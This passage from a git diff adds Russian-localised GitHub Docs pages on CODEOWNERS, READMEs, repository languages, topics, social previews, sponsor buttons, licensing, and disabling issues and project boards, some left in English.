variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + +CODEOWNERS paths are case sensitive, because {% data variables.product.prodname_dotcom %} uses a case sensitive file system. Since CODEOWNERS are evaluated by {% data variables.product.prodname_dotcom %}, even systems that are case insensitive (for example, macOS) must use paths and files that are cased correctly in the CODEOWNERS file. + +{% ifversion codeowners-errors %} +If any line in your CODEOWNERS file contains invalid syntax, that line will be skipped. When you navigate to the CODEOWNERS file in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can see any errors highlighted. A list of errors in a repository's CODEOWNERS file is also accessible via the API. For more information, see "[Repositories](/rest/reference/repos#list-codeowners-errors)" in the REST API documentation. +{% else %} +If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews. +{% endif %} + +### Example of a CODEOWNERS file +``` +# This is a comment. +# Each line is a file pattern followed by one or more owners. + +# These owners will be the default owners for everything in +# the repo. Unless a later match takes precedence, +# @global-owner1 and @global-owner2 will be requested for +# review when someone opens a pull request. +* @global-owner1 @global-owner2 + +# Order is important; the last matching pattern takes the most +# precedence. When someone opens a pull request that only +# modifies JS files, only @js-owner and not the global +# owner(s) will be requested for a review. +*.js @js-owner + +# You can also use email addresses if you prefer. They'll be +# used to look up users just like we do for commit author +# emails. +*.go docs@example.com + +# Teams can be specified as code owners as well. Teams should +# be identified in the format @org/team-name. Teams must have +# explicit write access to the repository. In this example, +# the octocats team in the octo-org organization owns all .txt files. +*.txt @octo-org/octocats + +# In this example, @doctocat owns any files in the build/logs +# directory at the root of the repository and any of its +# subdirectories. +/build/logs/ @doctocat + +# The `docs/*` pattern will match files like +# `docs/getting-started.md` but not further nested files like +# `docs/build-app/troubleshooting.md`. +docs/* docs@example.com + +# In this example, @octocat owns any file in an apps directory +# anywhere in your repository. +apps/ @octocat + +# In this example, @doctocat owns any file in the `/docs` +# directory in the root of your repository and any of its +# subdirectories. +/docs/ @doctocat + +# In this example, any change inside the `/scripts` directory +# will require approval from @doctocat or @octocat. +/scripts/ @doctocat @octocat + +# In this example, @octocat owns any file in the `/apps` +# directory in the root of your repository except for the `/apps/github` +# subdirectory, as its owners are left empty. +/apps/ @octocat +/apps/github +``` + +## CODEOWNERS and branch protection +Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." + +## Further reading + +- "[Creating new files](/articles/creating-new-files)" +- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)" +- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md new file mode 100644 index 000000000000..4dd071c62eff --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -0,0 +1,73 @@ +--- +title: Сведения о файлах сведений +intro: 'Можно добавить файл сведений в репозиторий, чтобы сообщить другим людям, чем полезен проект, что они могут с ним делать и как его использовать.' +redirect_from: + - /articles/section-links-on-readmes-and-blob-pages + - /articles/relative-links-in-readmes + - /articles/about-readmes + - /github/creating-cloning-and-archiving-repositories/about-readmes + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: 146f1a33eb4de224625b9603b27d2f383e55c54d +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163339' +--- +## Сведения о файлах сведений + +{% data reusables.repositories.about-READMEs %} + +Дополнительные сведения о предоставлении рекомендаций для проекта см. в разделе {% ifversion fpt or ghec %}"[Добавление правил поведения в ваш проект](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Настройка вашего проекта для эффективного внесения вклада](/communities/setting-up-your-project-for-healthy-contributions)." + +Файл README часто является первым объектом, который пользователь видит в репозитории. Файлы README обычно включают в себя следующие сведения: +- что делает проект; +- почему проект полезен; +- как пользователи могут приступить к работе с проектом; +- где пользователи могут получить помощь по проекту; +- кто поддерживает проект и вносит вклад в проект. + +Если поместить файл README в скрытый каталог `.github`, корневой каталог или каталог `docs`, {% data variables.product.product_name %} распознает и автоматически отобразит файл README для посетителей репозитория. + +Если репозиторий содержит несколько файлов README, файл для отображения выбирается из расположений в следующем порядке: каталог `.github`, корневой каталог репозитория и, наконец, каталог `docs`. + +![Главная страница репозитория github/scientist и его файл README](/assets/images/help/repository/repo-with-readme.png) + +{% ifversion fpt or ghes or ghec %} + +{% data reusables.profile.profile-readme %} + +{% endif %} + +![Файл README в репозитории username/username](/assets/images/help/repository/username-repo-with-readme.png) + +## Автоматическое оглавление для файлов README + +Для просмотра любого файла Markdown в репозитории, включая файлы README, {% data variables.product.product_name %} автоматически создаст оглавление на основе заголовков разделов. Вы можете просмотреть оглавление файла README, щелкнув значок меню {% octicon "list-unordered" aria-label="The unordered list icon" %} в левом верхнем углу отображаемой страницы. + +![Файл README с автоматически созданным оглавлением](/assets/images/help/repository/readme-automatic-toc.png) + +## Ссылки на разделы в файлах README и на страницах BLOB-объектов + +{% data reusables.repositories.section-links %} + +## Относительные ссылки и пути к изображениям в файлах README + +{% data reusables.repositories.relative-links %} + +## Вики + +Файл README должен содержать только ту информацию, которая необходима разработчикам, чтобы приступить к использованию проекта и внести свой вклад в проект. Более длинную документацию удобнее размещать на вики-сайтах. Дополнительные сведения см. в статье "[Сведения о вики-страницах](/communities/documenting-your-project-with-wikis/about-wikis)". + +## Дополнительные материалы + +- [Добавление файла в репозиторий](/articles/adding-a-file-to-a-repository) +- 18F's "[Создание понятных README](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" {%- ifversion fpt or ghec %} +- [Добавление значка "Открыть в GitHub Codespaces"](/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge) {%- endif %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md new file mode 100644 index 000000000000..290e17045cda --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md @@ -0,0 +1,34 @@ +--- +title: Сведения о языках репозитория +intro: 'Файлы и каталоги в репозитории определяют языки, составляющие репозиторий. Вы можете просмотреть языки репозитория, чтобы получить краткое представление о репозитории.' +redirect_from: + - /articles/my-repository-is-marked-as-the-wrong-language + - /articles/why-isn-t-my-favorite-language-recognized + - /articles/my-repo-is-marked-as-the-wrong-language + - /articles/why-isn-t-sql-recognized-as-a-language + - /articles/why-isn-t-my-favorite-language-recognized-by-github + - /articles/about-repository-languages + - /github/creating-cloning-and-archiving-repositories/about-repository-languages + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-languages +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Repository languages +ms.openlocfilehash: 5ae844d133a09829220f16e90759dabd0b7b0ab3 +ms.sourcegitcommit: e8df903f8f79fab07197d39685782476c3d272b8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/06/2022 +ms.locfileid: '148011135' +--- +{% data variables.product.product_name %} использует [библиотеку Linguist](https://github.com/github/linguist) с открытым кодом для определения языков файлов с целью выделения синтаксиса и формирования статистики репозитория. Статистика языка будет обновляться после отправки изменений в ветвь по умолчанию. + +Некоторые файлы трудно определить, а иногда проекты содержат больше файлов библиотек и поставщиков, чем файлов основного кода. Если вы получаете неправильные результаты, обратитесь к [руководству по устранению неполадок](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) Linguist. Обратите внимание, что Linguist работает только для репозиториев с менее чем 100 000 файлов. + +## Языки разметки + +Языки разметки визуализируются в HTML и отображаются в коде с помощью [библиотеки разметки](https://github.com/github/markup) с открытым кодом. Сейчас мы не добавляем поддержку новых языков разметки в {% data variables.product.product_name %}. Однако мы активно поддерживаем текущие языки разметки. Если возникла проблема, [создайте отчет об ошибке](https://github.com/github/markup/issues/new). diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md new file mode 100644 index 000000000000..6f64c7cb0d56 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -0,0 +1,54 @@ +--- +title: Классификация репозитория с помощью тем +intro: 'Чтобы помочь другим пользователям найти ваш проект и принять в нем участие, вы можете добавлять темы в репозиторий, связанные с целью проекта, его предметной областью, территориальными группами и другими важными качествами.' +redirect_from: + - /articles/about-topics + - /articles/classifying-your-repository-with-topics + - /github/administering-a-repository/classifying-your-repository-with-topics + - /github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Classify with topics +ms.openlocfilehash: 26f51423140c086bbea019666b8d569419da3b38 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108889' +--- +## Сведения о темах + +С помощью тем можно исследовать репозитории в определенной предметной области, выполнять поиск проектов, в работе над которыми можно участвовать, и находить новые решения конкретной проблемы. Темы отображаются на главной странице репозитория. Вы можете щелкнуть имя темы, чтобы {% ifversion fpt or ghec %}просмотреть связанные темы и список других репозиториев, классифицированных с помощью этой темы{% else %}искать другие репозитории с этой темой{% endif %}. + +![Главная страница репозитория тестов, отображающая темы](/assets/images/help/repository/os-repo-with-topics.png) + +Чтобы просмотреть наиболее часто используемые темы, перейдите по адресу https://github.com/topics/. + +{% ifversion fpt or ghec %}Вы можете принять участие в разработке набора рекомендуемых тем {% data variables.product.product_name %} в репозитории [github/explore](https://github.com/github/explore). {% endif %} + +Администраторы репозитория могут добавлять в репозиторий любые темы. Полезными темами для классификации репозитория являются назначение, предметная область, сообщество или язык репозитория.{% ifversion fpt or ghec %} Кроме того, {% data variables.product.product_name %} анализирует содержимое общедоступного репозитория и создает предлагаемые темы, которые администраторы репозитория могут принимать или отклонять. Содержимое частного репозитория не анализируется, и предложения тем отсутствуют.{% endif %} + +{% ifversion fpt %}Общедоступные и частные{% elsif ghec or ghes %}Общедоступные, частные и внутренние{% elsif ghae %}Частные и внутренние{% endif %} репозитории могут иметь темы, хотя в результатах поиска тем вы увидите только частные репозитории, к которым у вас есть доступ. + +Вы можете выполнять поиск репозиториев, связанные с определенной темой. Дополнительные сведения см. в статье "[Поиск репозиториев](/search-github/searching-on-github/searching-for-repositories#search-by-topic)". Можно также выполнить поиск списка тем по {% data variables.product.product_name %}. Дополнительные сведения см. в статье "[Поиск тем](/search-github/searching-on-github/searching-topics)". + +## Добавление тем в репозиторий + +{% note %} + +**Примечание:** Имена разделов всегда являются общедоступными, даже если вы создаете раздел из частного репозитория. + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} +2. Справа от элемента "Сведения" щелкните {% octicon "gear" aria-label="The Gear icon" %}. + ![Значок шестеренки на главной странице репозитория](/assets/images/help/repository/edit-repository-details-gear.png) +3. В разделе "Темы" введите название темы, которую вы хотите добавить в репозиторий, а затем введите пробел. + ![Форма для ввода тем](/assets/images/help/repository/add-topic-form.png) +4. Завершив добавление тем, нажмите кнопку **Сохранить изменения**. + ![Кнопка "Сохранить изменения" в разделе "Изменение сведений о репозитории"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md new file mode 100644 index 000000000000..4fd5e06a419f --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview.md @@ -0,0 +1,48 @@ +--- +title: Customizing your repository's social media preview +intro: You can customize the image displayed on social media platforms when someone links to your repository. +redirect_from: + - /articles/customizing-your-repositorys-social-media-preview + - /github/administering-a-repository/customizing-your-repositorys-social-media-preview + - /github/administering-a-repository/managing-repository-settings/customizing-your-repositorys-social-media-preview +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Social media preview +--- +Until you add an image, repository links expand to show basic information about the repository and the owner's avatar. Adding an image to your repository can help identify your project across various social platforms. + +## Adding an image to customize the social media preview of your repository + +{% ifversion not ghae %}You can upload an image to a private repository, but your image can only be shared from a public repository.{% endif %} + +{% tip %} + +**Tip:** Your image should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend keeping the image at 640 by 320 pixels. + +{% endtip %} + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under "Social preview," click **Edit** + - To add a new image, click **Upload an image...**. + - To remove an image, click **Remove image** + + ![Social preview dropdown](/assets/images/help/repository/social-preview.png) + +## About transparency + +We support PNG images with transparency. Many communication platforms support a dark mode, so using a transparent social preview may be beneficial. The transparent image below is acceptable on a dark background; however, this may not always be the case. + +When using an image with transparency, keep in mind how it may look on different color backgrounds or platforms that don't support transparency. + +{% tip %} + +**Tip:** If you aren't sure, we recommend using an image with a solid background. +{% endtip %} + +![Social preview transparency](/assets/images/help/repository/social-preview-transparency.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md new file mode 100644 index 000000000000..05968e6677dc --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md @@ -0,0 +1,88 @@ +--- +title: Отображение кнопки спонсора в репозитории +intro: 'Вы можете добавить в репозиторий кнопку спонсора, чтобы повысить видимость вариантов финансирования для проекта разработки решений с открытым кодом.' +redirect_from: + - /github/building-a-strong-community/displaying-a-sponsor-button-in-your-repository + - /articles/displaying-a-sponsor-button-in-your-repository + - /github/administering-a-repository/displaying-a-sponsor-button-in-your-repository + - /github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Display a sponsor button +ms.openlocfilehash: 8fce9d4fe2b4aa697fa5d5a0ef0dfafb1caa4844 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147558345' +--- +## Сведения о файлах FUNDING + +Вы можете настроить кнопку спонсора, изменив файл _FUNDING.yml_ в папке репозитория `.github` в ветви по умолчанию. Вы можете настроить кнопку для включения спонсируемых разработчиков в {% data variables.product.prodname_sponsors %}, платформ стороннего финансирования или пользовательского URL-адреса финансирования. Дополнительные сведения о {% data variables.product.prodname_sponsors %} см. в разделе [Сведения о GitHub Sponsors](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). + +Вы можете добавить одно имя пользователя, имя пакета или имя проекта для каждой платформы внешнего финансирования и не более четырех пользовательских URL-адресов. Вы можете добавить одну организацию и до четырех спонсируемых разработчиков в {% data variables.product.prodname_sponsors %}. Добавьте каждую платформу в новую строку, используя следующий синтаксис: + +Платформа | Синтаксис +-------- | ----- +[LFX Mentorship (ранее — CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME` +[{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` или `github: [USERNAME, USERNAME, USERNAME, USERNAME]` +[IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME` +[Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME` +[Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME` +[Open Collective](https://opencollective.com/) | `open_collective: USERNAME` +[Otechie](https://otechie.com/)| `otechie: USERNAME` +[Patreon](https://www.patreon.com/) | `patreon: USERNAME` +[Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME` +Пользовательский URL-адрес | `custom: LINK1` или `custom: [LINK1, LINK2, LINK3, LINK4]` + +Для Tidelift используйте синтаксис `platform-name/package-name` со следующими именами платформ: + +Язык | Имя платформы +-------- | ------------- +JavaScript | `npm` +Python | `pypi` +Ruby | `rubygems` +Java | `maven` +PHP | `packagist` +C# | `nuget` + +Ниже приведен пример файла _FUNDING.yml_ : +``` +github: [octocat, surftocat] +patreon: octocat +tidelift: npm/octo-package +custom: ["https://www.paypal.me/octocat", octocat.com] +``` + +{% note %} + +**Примечание.** Если пользовательский URL-адрес в массиве содержит `:`, необходимо заключить URL-адрес в кавычки. Например, `"https://www.paypal.me/octocat"`. + +{% endnote %} + +Можно создать стандартную кнопку спонсора для организации или личной учетной записи. Дополнительные сведения см. в статье "[Создание файла работоспособности сообщества по умолчанию](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)". + +{% note %} + +Ссылки на финансирование предоставляют возможность получать прямую финансовую поддержку для проектов с открытым исходным кодом от сообщества. Мы не поддерживаем использование ссылок на финансирование для других целей, таких как реклама или поддержка политических, социальных или благотворительных групп. Если у вас есть вопросы о том, поддерживается ли предполагаемое использование, обратитесь к {% data variables.contact.contact_support %}. + +{% endnote %} + +## Отображение кнопки спонсора в репозитории + +Любой пользователь с разрешениями администратора может включить кнопку спонсора в репозитории. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Функции" выберите **Спонсорство**. + ![Флажок для включения спонсорской поддержки](/assets/images/help/sponsors/sponsorships-checkbox.png) +4. В разделе "Спонсорство" нажмите **кнопку "Настроить спонсора"** или **Переопределить ссылки для финансирования**. + ![Кнопка для настройки кнопки спонсора](/assets/images/help/sponsors/sponsor-set-up-button.png) +5. В редакторе файлов следуйте инструкциям в файле _FUNDING.yml_, чтобы добавить ссылки на расположения финансирования. + ![Измените файл FUNDING для добавления ссылок на расположения финансирования](/assets/images/help/sponsors/funding-yml-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} + +## Дополнительные материалы +- [Сведения о {% data variables.product.prodname_sponsors %} для участников разработки ПО с открытым кодом](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors) +- [Вопросы и ответы о команде {% data variables.product.prodname_sponsors %} ](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/) для {% data variables.product.prodname_blog %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md new file mode 100644 index 000000000000..407851340c4a --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/index.md @@ -0,0 +1,28 @@ +--- +title: Настройка репозитория +intro: 'Вы можете выбрать способ отображения репозитория, настроив его параметры.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /about-readmes + - /licensing-a-repository + - /displaying-a-sponsor-button-in-your-repository + - /customizing-your-repositorys-social-media-preview + - /classifying-your-repository-with-topics + - /about-code-owners + - /about-repository-languages + - /about-citation-files +shortTitle: Customize your repository +ms.openlocfilehash: b82a88be8f17557a5474bac7e2bc480af0b7723d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136805' +--- + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md new file mode 100644 index 000000000000..6df07234e606 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md @@ -0,0 +1,98 @@ +--- +title: Licensing a repository +intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.' +redirect_from: + - /articles/open-source-licensing + - /articles/licensing-a-repository + - /github/creating-cloning-and-archiving-repositories/licensing-a-repository + - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/licensing-a-repository +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Repositories +--- +## Choosing the right license + +We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision. + +You're under no obligation to choose a license. However, without a license, the default copyright laws apply, meaning that you retain all rights to your source code and no one may reproduce, distribute, or create derivative works from your work. If you're creating an open source project, we strongly encourage you to include an open source license. The [Open Source Guide](https://opensource.guide/legal/#which-open-source-license-is-appropriate-for-my-project) provides additional guidance on choosing the correct license for your project. + +{% note %} + +**Note:** If you publish your source code in a public repository on {% data variables.product.product_name %}, {% ifversion fpt or ghec %}according to the [Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service), {% endif %}other users of {% data variables.location.product_location %} have the right to view and fork your repository. If you have already created a repository and no longer want users to have access to the repository, you can make the repository private. When you change the visibility of a repository to private, existing forks or local copies created by other users will still exist. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." + +{% endnote %} + +## Determining the location of your license + +Most people place their license text in a file named `LICENSE.txt` (or `LICENSE.md` or `LICENSE.rst`) in the root of the repository; [here's an example from Hubot](https://github.com/github/hubot/blob/master/LICENSE.md). + +Some projects include information about their license in their README. For example, a project's README may include a note saying "This project is licensed under the terms of the MIT license." + +As a best practice, we encourage you to include the license file with your project. + +## Searching GitHub by license type + +You can filter repositories based on their license or license family using the `license` qualifier and the exact license keyword: + +License | License keyword +--- | --- +| Academic Free License v3.0 | `afl-3.0` | +| Apache license 2.0 | `apache-2.0` | +| Artistic license 2.0 | `artistic-2.0` | +| Boost Software License 1.0 | `bsl-1.0` | +| BSD 2-clause "Simplified" license | `bsd-2-clause` | +| BSD 3-clause "New" or "Revised" license | `bsd-3-clause` | +| BSD 3-clause Clear license | `bsd-3-clause-clear` | +| Creative Commons license family | `cc` | +| Creative Commons Zero v1.0 Universal | `cc0-1.0` | +| Creative Commons Attribution 4.0 | `cc-by-4.0` | +| Creative Commons Attribution Share Alike 4.0 | `cc-by-sa-4.0` | +| Do What The F*ck You Want To Public License | `wtfpl` | +| Educational Community License v2.0 | `ecl-2.0` | +| Eclipse Public License 1.0 | `epl-1.0` | +| Eclipse Public License 2.0 | `epl-2.0` | +| European Union Public License 1.1 | `eupl-1.1` | +| GNU Affero General Public License v3.0 | `agpl-3.0` | +| GNU General Public License family | `gpl` | +| GNU General Public License v2.0 | `gpl-2.0` | +| GNU General Public License v3.0 | `gpl-3.0` | +| GNU Lesser General Public License family | `lgpl` | +| GNU Lesser General Public License v2.1 | `lgpl-2.1` | +| GNU Lesser General Public License v3.0 | `lgpl-3.0` | +| ISC | `isc` | +| LaTeX Project Public License v1.3c | `lppl-1.3c` | +| Microsoft Public License | `ms-pl` | +| MIT | `mit` | +| Mozilla Public License 2.0 | `mpl-2.0` | +| Open Software License 3.0 | `osl-3.0` | +| PostgreSQL License | `postgresql` | +| SIL Open Font License 1.1 | `ofl-1.1` | +| University of Illinois/NCSA Open Source License | `ncsa` | +| The Unlicense | `unlicense` | +| zLib License | `zlib` | + +When you search by a family license, your results will include all licenses in that family. For example, when you use the query `license:gpl`, your results will include repositories licensed under GNU General Public License v2.0 and GNU General Public License v3.0. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-by-license)." + +## Detecting a license + +[The open source Ruby gem Licensee](https://github.com/licensee/licensee) compares the repository's *LICENSE* file to a short list of known licenses. Licensee also provides the [Licenses API](/rest/reference/licenses) and [gives us insight into how repositories on {% data variables.product.product_name %} are licensed](https://github.com/blog/1964-open-source-license-usage-on-github-com). If your repository is using a license that isn't listed on the [Choose a License website](https://choosealicense.com/appendix/), you can [request including the license](https://github.com/github/choosealicense.com/blob/gh-pages/CONTRIBUTING.md#adding-a-license). + +If your repository is using a license that is listed on the Choose a License website and it's not displaying clearly at the top of the repository page, it may contain multiple licenses or other complexity. To have your license detected, simplify your *LICENSE* file and note the complexity somewhere else, such as your repository's *README* file. + +## Applying a license to a repository with an existing license + +The license picker is only available when you create a new project on GitHub. You can manually add a license using the browser. For more information on adding a license to a repository, see "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)." + +![Screenshot of license picker on GitHub.com](/assets/images/help/repository/repository-license-picker.png) + +## Disclaimer + +The goal of GitHub's open source licensing efforts is to provide a starting point to help you make an informed choice. GitHub displays license information to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers and that we make mistakes like everyone else. For that reason, GitHub provides the information on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the license information. If you have any questions regarding the right license for your code or any other legal issues relating to it, it’s always best to consult with a professional. + +## Further reading + +- The Open Source Guides' section "[The Legal Side of Open Source](https://opensource.guide/legal/)"{% ifversion fpt or ghec %} +- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md new file mode 100644 index 000000000000..9d88983b5268 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-issues.md @@ -0,0 +1,38 @@ +--- +title: Отключение проблем +intro: 'Возможно, вы захотите отключить проблемы для репозитория, если вы не принимаете вклады и отчеты об ошибках.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/disabling-issues + - /articles/disabling-issues + - /github/managing-your-work-on-github/disabling-issues + - /github/administering-a-repository/managing-repository-settings/disabling-issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: a706b1431f4f43c9866fb6ef0f01f6d25d6edc46 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881831' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе «Компоненты» снимите флажок **Проблемы**. + ![Флажок «Удалить проблемы»](/assets/images/help/issues/issues_settings_remove_from_repo.png) + +Если вы решите снова включить проблемы в будущем, будут доступны все добавленные ранее проблемы. + +{% ifversion fpt or ghec %} + +{% tip %} + +Обратитесь к {% data variables.contact.contact_support %}, если требуется отключить проблемы из-за злоупотреблений сторонних пользователей. +{% data reusables.policies.abuse %} + +{% endtip %} + +{% endif %} diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md new file mode 100644 index 000000000000..59fad1af8a6a --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository.md @@ -0,0 +1,31 @@ +--- +title: 'Отключение {% data variables.projects.projects_v1_boards %} в репозитории' +intro: 'Администраторы репозитория могут отключить {% data variables.projects.projects_v1_boards %} для репозитория, если вы или ваша команда другим образом организует работу.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-a-repository + - /articles/disabling-project-boards-in-a-repository + - /github/managing-your-work-on-github/disabling-project-boards-in-a-repository + - /github/administering-a-repository/managing-repository-settings/disabling-project-boards-in-a-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: 'Disable {% data variables.projects.projects_v1_boards %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 8c550cd9ebc767327298e39dc0b3a6a11368dc3f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109527' +--- +После отключения {% data variables.projects.projects_v1_boards %} вы больше не сможете просматривать сведения о {% data variables.projects.projects_v1_board %} на временных шкалах или в [журналах аудита](/articles/reviewing-your-security-log/). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе «Компоненты» снимите флажок **Проекты**. + ![Флажок «Удалить 